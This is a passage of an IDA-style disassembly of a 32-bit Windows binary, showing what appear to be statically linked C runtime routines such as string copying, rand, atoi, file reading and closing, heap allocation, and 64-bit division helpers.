sub ebx, 1 jnz short loc_412C93 loc_412CA6: ; CODE XREF: sub_412C40+39j ; sub_412C40+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_412CAE: ; CODE XREF: sub_412C40+3Dj test edi, 3 jz short loc_412CCC loc_412CB6: ; CODE XREF: sub_412C40+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_412D5C test edi, 3 jnz short loc_412CB6 loc_412CCC: ; CODE XREF: sub_412C40+74j mov ebx, ecx shr ecx, 2 jnz short loc_412D47 loc_412CD3: ; CODE XREF: sub_412C40+9Bj ; sub_412C40+116j mov [edi], al add edi, 1 loc_412CD8: ; CODE XREF: sub_412C40+5Fj sub ebx, 1 jnz short loc_412CD3 pop ebx pop esi loc_412CDF: ; CODE XREF: sub_412C40+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_412CE5: ; CODE XREF: sub_412C40+C7j ; sub_412C40+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_412C8E loc_412CEF: ; CODE XREF: sub_412C40+24j ; sub_412C40+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_412CE5 test dl, dl jz short loc_412D39 test dh, dh jz short loc_412D2F test edx, 0FF0000h jz short loc_412D25 test edx, 0FF000000h jnz short loc_412CE5 mov [edi], edx jmp short loc_412D3D ; --------------------------------------------------------------------------- loc_412D25: ; CODE XREF: sub_412C40+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_412D3D ; --------------------------------------------------------------------------- loc_412D2F: ; CODE XREF: sub_412C40+CFj and edx, 0FFh mov [edi], edx jmp short loc_412D3D ; --------------------------------------------------------------------------- loc_412D39: ; CODE XREF: sub_412C40+CBj xor edx, edx mov [edi], edx loc_412D3D: ; CODE XREF: sub_412C40+E3j ; sub_412C40+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_412D53 loc_412D47: ; CODE XREF: sub_412C40+91j xor eax, eax loc_412D49: ; CODE XREF: sub_412C40+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_412D49 loc_412D53: ; CODE XREF: sub_412C40+105j and ebx, 3 jnz loc_412CD3 loc_412D5C: ; CODE XREF: sub_412C40+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_412C40 endp ; =============== S U B R O U T I N E ======================================= sub_412D64 proc near ; CODE XREF: sub_40169B+39p ; sub_402B1D+56p ... arg_0 = dword ptr 4 call sub_415456 mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_412D64 endp ; =============== S U B R O U T I N E ======================================= sub_412D71 proc near ; CODE XREF: sub_401525+57p ; sub_401525:loc_401588p ... call sub_415456 mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_412D71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D93 proc near ; CODE XREF: sub_401525+4Ap ; sub_402B1D+23Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push eax mov [ebp+var_14], 49h mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_416000 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax call sub_41554C add esp, 10h leave retn sub_412D93 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412DD0 proc near ; CODE XREF: sub_4028A8+8p ; sub_4039DE+Ap ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_412DE5 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_412DE5: ; CODE XREF: sub_412DD0+5j push ecx lea ecx, [esp+4+arg_0] loc_412DEA: ; CODE XREF: sub_412DD0+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_412DEA sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_412DD0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E0D proc near ; CODE XREF: sub_401BBB+46p ; sub_401C33+67p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_1C], eax push edi lea eax, [ebp+arg_C] push eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_414CA3 add esp, 0Ch test esi, esi mov edi, eax jz short loc_412E5E dec [ebp+var_1C] js short loc_412E51 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_412E5E ; --------------------------------------------------------------------------- loc_412E51: ; CODE XREF: sub_412E0D+3Aj lea eax, [ebp+var_20] push eax push 0 call sub_414AFC pop ecx pop ecx loc_412E5E: ; CODE XREF: sub_412E0D+35j ; sub_412E0D+42j mov eax, edi pop edi pop esi leave retn sub_412E0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E64 proc near ; CODE XREF: sub_401CA7+19p ; sub_404592+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_C] mov [ebp+var_1C], eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_414CA3 add esp, 0Ch test esi, esi mov edi, eax jz short loc_412EB4 dec [ebp+var_1C] js short loc_412EA7 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_412EB4 ; --------------------------------------------------------------------------- loc_412EA7: ; CODE XREF: sub_412E64+39j lea eax, [ebp+var_20] push eax push 0 call sub_414AFC pop ecx pop ecx loc_412EB4: ; CODE XREF: sub_412E64+34j ; sub_412E64+41j mov eax, edi pop edi pop esi leave retn sub_412E64 endp ; =============== S U B R O U T I N E ======================================= sub_412EBA proc near ; CODE XREF: sub_412F42j ; sub_41CB47+36p arg_0 = dword ptr 4 push esi push edi call sub_415456 mov edi, [eax+64h] cmp edi, off_42C7BC jz short loc_412ED3 call sub_41628E mov edi, eax loc_412ED3: ; CODE XREF: sub_412EBA+10j mov esi, [esp+8+arg_0] loc_412ED7: ; CODE XREF: sub_412EBA+43j cmp dword ptr [edi+28h], 1 movzx eax, byte ptr [esi] jle short loc_412EEE push 8 push eax push edi call sub_41608B add esp, 0Ch jmp short loc_412EF8 ; --------------------------------------------------------------------------- loc_412EEE: ; CODE XREF: sub_412EBA+24j mov ecx, [edi+48h] movzx eax, byte ptr [ecx+eax*2] and eax, 8 loc_412EF8: ; CODE XREF: sub_412EBA+32j test eax, eax jz short loc_412EFF inc esi jmp short loc_412ED7 ; --------------------------------------------------------------------------- loc_412EFF: ; CODE XREF: sub_412EBA+40j movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_412F0F cmp ecx, 2Bh jnz short loc_412F13 loc_412F0F: ; CODE XREF: sub_412EBA+4Ej movzx ecx, byte ptr [esi] inc esi loc_412F13: ; CODE XREF: sub_412EBA+53j xor eax, eax loc_412F15: ; CODE XREF: sub_412EBA+7Cj cmp ecx, 30h jl short loc_412F24 cmp ecx, 39h jg short loc_412F24 sub ecx, 30h jmp short loc_412F27 ; --------------------------------------------------------------------------- loc_412F24: ; CODE XREF: sub_412EBA+5Ej ; sub_412EBA+63j or ecx, 0FFFFFFFFh loc_412F27: ; CODE XREF: sub_412EBA+68j cmp ecx, 0FFFFFFFFh jz short loc_412F38 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_412F15 ; --------------------------------------------------------------------------- loc_412F38: ; CODE XREF: sub_412EBA+70j cmp edx, 2Dh pop edi pop esi jnz short locret_412F41 neg eax locret_412F41: ; CODE XREF: sub_412EBA+83j retn sub_412EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_412F42 proc near ; CODE XREF: sub_401D45+63p ; sub_402B1D+3FEp ... jmp sub_412EBA sub_412F42 endp ; =============== S U B R O U T I N E ======================================= sub_412F47 proc near ; CODE XREF: sub_412F93+32p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi loc_412F4D: ; DATA XREF: .rdata:off_4271ACo or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 83h jz short loc_412F8A push esi call sub_41644D push esi mov edi, eax call sub_416422 push dword ptr [esi+10h] call sub_416387 add esp, 0Ch test eax, eax jge short loc_412F78 or edi, 0FFFFFFFFh jmp short loc_412F8A ; --------------------------------------------------------------------------- loc_412F78: ; CODE XREF: sub_412F47+2Aj mov eax, [esi+1Ch] test eax, eax jz short loc_412F8A push eax call sub_412FE4 and dword ptr [esi+1Ch], 0 pop ecx loc_412F8A: ; CODE XREF: sub_412F47+Dj ; sub_412F47+2Fj ... and dword ptr [esi+0Ch], 0 mov eax, edi pop edi pop esi retn sub_412F47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F93 proc near ; CODE XREF: sub_402A8B+74p ; sub_4078FA+3443p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_4276F0 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh mov esi, [ebp+arg_0] test byte ptr [esi+0Ch], 40h jz short loc_412FB9 and dword ptr [esi+0Ch], 0 loc_412FB0: ; CODE XREF: sub_412F93+44j mov eax, [ebp+var_1C] call __SEH_epilog retn ; --------------------------------------------------------------------------- loc_412FB9: ; CODE XREF: sub_412F93+17j push esi call sub_416673 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_412F47 pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_412FDC jmp short loc_412FB0 sub_412F93 endp ; =============== S U B R O U T I N E ======================================= sub_412FD9 proc near ; DATA XREF: .rdata:stru_4276F0o mov esi, [ebp+8] sub_412FD9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412FDC proc near ; CODE XREF: sub_412F93+3Fp push esi call sub_4166C5 pop ecx retn sub_412FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FE4 proc near ; CODE XREF: sub_402717+74p ; sub_40556E+CCp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00413040 SIZE 00000015 BYTES push 0Ch push offset stru_427700 call __SEH_prolog mov esi, [ebp+arg_0] test esi, esi jz short loc_41304F cmp dword_47A640, 3 jnz short loc_413040 push 4 call sub_416901 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41697A pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_413023 push esi push eax call sub_4169A5 pop ecx pop ecx loc_413023: ; CODE XREF: sub_412FE4+34j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_413037 cmp [ebp+var_1C], 0 jnz short loc_41304F push [ebp+arg_0] jmp short loc_413041 sub_412FE4 endp ; =============== S U B R O U T I N E ======================================= sub_413037 proc near ; CODE XREF: sub_412FE4+43p ; DATA XREF: .rdata:stru_427700o push 4 call sub_41686D pop ecx retn sub_413037 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412FE4 loc_413040: ; CODE XREF: sub_412FE4+1Aj push esi loc_413041: ; CODE XREF: sub_412FE4+51j push 0 push dword_47A63C call ds:dword_41F134 loc_41304F: ; CODE XREF: sub_412FE4+11j ; sub_412FE4+4Cj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_412FE4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413055 proc near ; CODE XREF: sub_41313E+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] test edi, edi mov ecx, edi mov [ebp+var_8], edi mov [ebp+arg_0], ecx jnz short loc_413079 xor eax, eax jmp loc_413124 ; --------------------------------------------------------------------------- loc_413079: ; CODE XREF: sub_413055+1Bj push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41308D mov eax, [esi+18h] mov [ebp+var_4], eax jmp short loc_413099 ; --------------------------------------------------------------------------- loc_41308D: ; CODE XREF: sub_413055+2Ej mov [ebp+var_4], 1000h jmp short loc_413099 ; --------------------------------------------------------------------------- loc_413096: ; CODE XREF: sub_413055+C5j mov ecx, [ebp+arg_0] loc_413099: ; CODE XREF: sub_413055+36j ; sub_413055+3Fj test word ptr [esi+0Ch], 10Ch jz short loc_4130CB mov eax, [esi+4] test eax, eax jz short loc_4130CB cmp ecx, eax mov edi, ecx jb short loc_4130B0 mov edi, eax loc_4130B0: ; CODE XREF: sub_413055+57j push edi push dword ptr [esi] push ebx call sub_4177B0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_8] jmp short loc_413116 ; --------------------------------------------------------------------------- loc_4130CB: ; CODE XREF: sub_413055+4Aj ; sub_413055+51j cmp ecx, [ebp+var_4] jb short loc_4130FE cmp [ebp+var_4], 0 mov eax, ecx jz short loc_4130E1 xor edx, edx div [ebp+var_4] mov eax, ecx sub eax, edx loc_4130E1: ; CODE XREF: sub_413055+81j push eax push ebx push dword ptr [esi+10h] call sub_417703 add esp, 0Ch test eax, eax jz short loc_413128 cmp eax, 0FFFFFFFFh jz short loc_413138 sub [ebp+arg_0], eax add ebx, eax jmp short loc_413116 ; --------------------------------------------------------------------------- loc_4130FE: ; CODE XREF: sub_413055+79j push esi call sub_417455 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41312C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+var_4], eax loc_413116: ; CODE XREF: sub_413055+74j ; sub_413055+A7j cmp [ebp+arg_0], 0 jnz loc_413096 mov eax, [ebp+arg_8] loc_413123: ; CODE XREF: sub_413055+E1j pop esi loc_413124: ; CODE XREF: sub_413055+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413128: ; CODE XREF: sub_413055+9Bj or dword ptr [esi+0Ch], 10h loc_41312C: ; CODE XREF: sub_413055+B3j ; sub_413055+E7j mov eax, edi sub eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] jmp short loc_413123 ; --------------------------------------------------------------------------- loc_413138: ; CODE XREF: sub_413055+A0j or dword ptr [esi+0Ch], 20h jmp short loc_41312C sub_413055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41313E proc near ; CODE XREF: sub_402A8B+47p ; sub_410A22+2F2p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset stru_427710 call __SEH_prolog push [ebp+arg_C] call sub_416673 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_413055 add esp, 10h mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_413180 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41313E endp ; =============== S U B R O U T I N E ======================================= sub_413180 proc near ; CODE XREF: sub_41313E+34p ; DATA XREF: .rdata:stru_427710o push dword ptr [ebp+14h] call sub_4166C5 pop ecx retn sub_413180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41318A proc near ; CODE XREF: sub_41965E+34p ; sub_41965E+49p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004132FB SIZE 0000003C BYTES push 14h push offset stru_427720 call __SEH_prolog mov edi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jnz short loc_4131AD push [ebp+arg_4] call sub_41344D pop ecx jmp loc_413331 ; --------------------------------------------------------------------------- loc_4131AD: ; CODE XREF: sub_41318A+13j mov esi, [ebp+arg_4] cmp esi, ebx jnz short loc_4131C0 push edi call sub_412FE4 pop ecx jmp loc_41332F ; --------------------------------------------------------------------------- loc_4131C0: ; CODE XREF: sub_41318A+28j cmp dword_47A640, 3 jnz loc_4132FB loc_4131CD: ; CODE XREF: sub_41318A+158j mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja loc_4132CA push 4 call sub_416901 pop ecx mov [ebp+ms_exc.disabled], ebx push edi call sub_41697A pop ecx mov [ebp+var_20], eax cmp eax, ebx jz loc_41329A cmp esi, dword_47A62C ja short loc_41324A push esi push edi push eax call sub_416E7A add esp, 0Ch test eax, eax jz short loc_413212 mov [ebp+var_1C], edi jmp short loc_41324A ; --------------------------------------------------------------------------- loc_413212: ; CODE XREF: sub_41318A+81j push esi call sub_417159 pop ecx mov [ebp+var_1C], eax cmp eax, ebx jz short loc_41324A mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_41322D mov eax, esi loc_41322D: ; CODE XREF: sub_41318A+9Fj push eax push edi push [ebp+var_1C] call sub_4177B0 push edi call sub_41697A mov [ebp+var_20], eax push edi push eax call sub_4169A5 add esp, 18h loc_41324A: ; CODE XREF: sub_41318A+72j ; sub_41318A+86j ... cmp [ebp+var_1C], ebx jnz short loc_41329A cmp esi, ebx jnz short loc_413259 xor esi, esi inc esi mov [ebp+arg_4], esi loc_413259: ; CODE XREF: sub_41318A+C7j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push dword_47A63C call ds:dword_41F13C mov [ebp+var_1C], eax cmp eax, ebx jz short loc_41329A mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_413284 mov eax, esi loc_413284: ; CODE XREF: sub_41318A+F6j push eax push edi push [ebp+var_1C] call sub_4177B0 push edi push [ebp+var_20] call sub_4169A5 add esp, 14h loc_41329A: ; CODE XREF: sub_41318A+66j ; sub_41318A+C3j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4132F2 cmp [ebp+var_20], ebx jnz short loc_4132CA cmp esi, ebx jnz short loc_4132AF xor esi, esi inc esi loc_4132AF: ; CODE XREF: sub_41318A+120j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push ebx push dword_47A63C call ds:dword_41F138 mov [ebp+var_1C], eax loc_4132CA: ; CODE XREF: sub_41318A+49j ; sub_41318A+11Cj mov eax, [ebp+var_1C] cmp eax, ebx jnz short loc_413331 cmp dword_47A014, ebx jz short loc_413331 push esi call sub_417AED pop ecx test eax, eax jnz loc_4131CD jmp short loc_41332F sub_41318A endp ; =============== S U B R O U T I N E ======================================= sub_4132EA proc near ; DATA XREF: .rdata:stru_427720o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_4132EA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4132F2 proc near ; CODE XREF: sub_41318A+114p push 4 call sub_41686D pop ecx retn sub_4132F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41318A loc_4132FB: ; CODE XREF: sub_41318A+3Dj ; sub_41318A+1A3j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_413318 cmp esi, ebx jnz short loc_413309 xor esi, esi inc esi loc_413309: ; CODE XREF: sub_41318A+17Aj push esi push edi push ebx push dword_47A63C call ds:dword_41F138 loc_413318: ; CODE XREF: sub_41318A+176j cmp eax, ebx jnz short loc_413331 cmp dword_47A014, ebx jz short loc_413331 push esi call sub_417AED pop ecx test eax, eax jnz short loc_4132FB loc_41332F: ; CODE XREF: sub_41318A+31j ; sub_41318A+15Ej xor eax, eax loc_413331: ; CODE XREF: sub_41318A+1Ej ; sub_41318A+145j ... call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41318A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413337 proc near ; CODE XREF: sub_413393+Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset stru_427730 call __SEH_prolog call sub_417CF5 mov [ebp+var_1C], eax test eax, eax jnz short loc_41335E call sub_417C70 mov dword ptr [eax], 18h xor eax, eax jmp short loc_413383 ; --------------------------------------------------------------------------- loc_41335E: ; CODE XREF: sub_413337+16j and [ebp+ms_exc.disabled], 0 push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417B08 add esp, 10h mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_413389 mov eax, [ebp+var_20] loc_413383: ; CODE XREF: sub_413337+25j call __SEH_epilog retn sub_413337 endp ; =============== S U B R O U T I N E ======================================= sub_413389 proc near ; CODE XREF: sub_413337+44p ; DATA XREF: .rdata:stru_427730o push dword ptr [ebp-1Ch] call sub_4166C5 pop ecx retn sub_413389 endp ; =============== S U B R O U T I N E ======================================= sub_413393 proc near ; CODE XREF: sub_402A8B+2Ap ; sub_4078FA+33EEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_413337 add esp, 0Ch retn sub_413393 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133A6 proc near ; CODE XREF: sub_413421+Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_427740 call __SEH_prolog mov esi, [ebp+arg_0] cmp dword_47A640, 3 jnz short loc_4133EC cmp esi, dword_47A62C ja short loc_4133EC push 4 call sub_416901 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_417159 pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_413418 mov eax, [ebp+var_1C] test eax, eax jnz short loc_41340F loc_4133EC: ; CODE XREF: sub_4133A6+16j ; sub_4133A6+1Ej test esi, esi jnz short loc_4133F1 inc esi loc_4133F1: ; CODE XREF: sub_4133A6+48j cmp dword_47A640, 1 jz short loc_413400 add esi, 0Fh and esi, 0FFFFFFF0h loc_413400: ; CODE XREF: sub_4133A6+52j push esi push 0 push dword_47A63C call ds:dword_41F13C loc_41340F: ; CODE XREF: sub_4133A6+44j call __SEH_epilog retn sub_4133A6 endp ; =============== S U B R O U T I N E ======================================= sub_413415 proc near ; DATA XREF: .rdata:stru_427740o mov esi, [ebp+8] sub_413415 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413418 proc near ; CODE XREF: sub_4133A6+3Ap push 4 call sub_41686D pop ecx retn sub_413418 endp ; =============== S U B R O U T I N E ======================================= sub_413421 proc near ; CODE XREF: sub_41344D+Ap ; sub_413A90+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41344A loc_413428: ; CODE XREF: sub_413421+27j push [esp+arg_0] call sub_4133A6 test eax, eax pop ecx jnz short locret_41344C cmp [esp+arg_4], eax jz short locret_41344C push [esp+arg_0] call sub_417AED test eax, eax pop ecx jnz short loc_413428 loc_41344A: ; CODE XREF: sub_413421+5j xor eax, eax locret_41344C: ; CODE XREF: sub_413421+13j ; sub_413421+19j retn sub_413421 endp ; =============== S U B R O U T I N E ======================================= sub_41344D proc near ; CODE XREF: sub_402717+1Ep ; sub_406B55+5Ep ... arg_0 = dword ptr 4 push dword_47A014 push [esp+4+arg_0] call sub_413421 pop ecx pop ecx retn sub_41344D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_413460 proc near ; CODE XREF: sub_413498p mov eax, offset sub_4181D9 mov off_42CE18, eax mov off_42CE1C, offset sub_417E53 mov off_42CE20, offset sub_417EB8 mov off_42CE24, offset sub_417E17 mov off_42CE28, offset sub_417E9E mov off_42CE2C, eax retn sub_413460 endp ; =============== S U B R O U T I N E ======================================= sub_413498 proc near ; CODE XREF: sub_4143FB+9p ; DATA XREF: .data:off_42C718o call sub_413460 call sub_41827C mov dword_479E54, eax call sub_41822A fnclex retn sub_413498 endp ; =============== S U B R O U T I N E ======================================= sub_4134AF proc near ; CODE XREF: sub_40241F+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_41F06C cmp eax, 0FFFFFFFFh jnz short loc_4134CF call ds:dword_41F008 push eax call sub_417C82 pop ecx loc_4134CB: ; CODE XREF: sub_4134AF+41j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4134CF: ; CODE XREF: sub_4134AF+Dj test al, 1 jz short loc_4134F2 test [esp+arg_4], 2 jz short loc_4134F2 call sub_417C70 mov dword ptr [eax], 0Dh call sub_417C79 mov dword ptr [eax], 5 jmp short loc_4134CB ; --------------------------------------------------------------------------- loc_4134F2: ; CODE XREF: sub_4134AF+22j ; sub_4134AF+29j xor eax, eax retn sub_4134AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413500 proc near ; CODE XREF: sub_402439+2Ap ; sub_414CA3+60Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_413531 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_413578 ; --------------------------------------------------------------------------- loc_413531: ; CODE XREF: sub_413500+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41353F: ; CODE XREF: sub_413500+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41353F div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_41356D cmp edx, [esp+4+arg_4] ja short loc_41356D jb short loc_413576 cmp eax, [esp+4+arg_0] jbe short loc_413576 loc_41356D: ; CODE XREF: sub_413500+5Dj ; sub_413500+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_413576: ; CODE XREF: sub_413500+65j ; sub_413500+6Bj xor ebx, ebx loc_413578: ; CODE XREF: sub_413500+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_413500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4135A0 proc near ; CODE XREF: sub_40253D+5Fp ; sub_40253D+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_4135C1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_4135C1: ; CODE XREF: sub_4135A0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4135DD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4135DD: ; CODE XREF: sub_4135A0+27j or eax, eax jnz short loc_4135F9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41363A ; --------------------------------------------------------------------------- loc_4135F9: ; CODE XREF: sub_4135A0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_413607: ; CODE XREF: sub_4135A0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_413607 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_413635 cmp edx, [esp+0Ch+arg_4] ja short loc_413635 jb short loc_413636 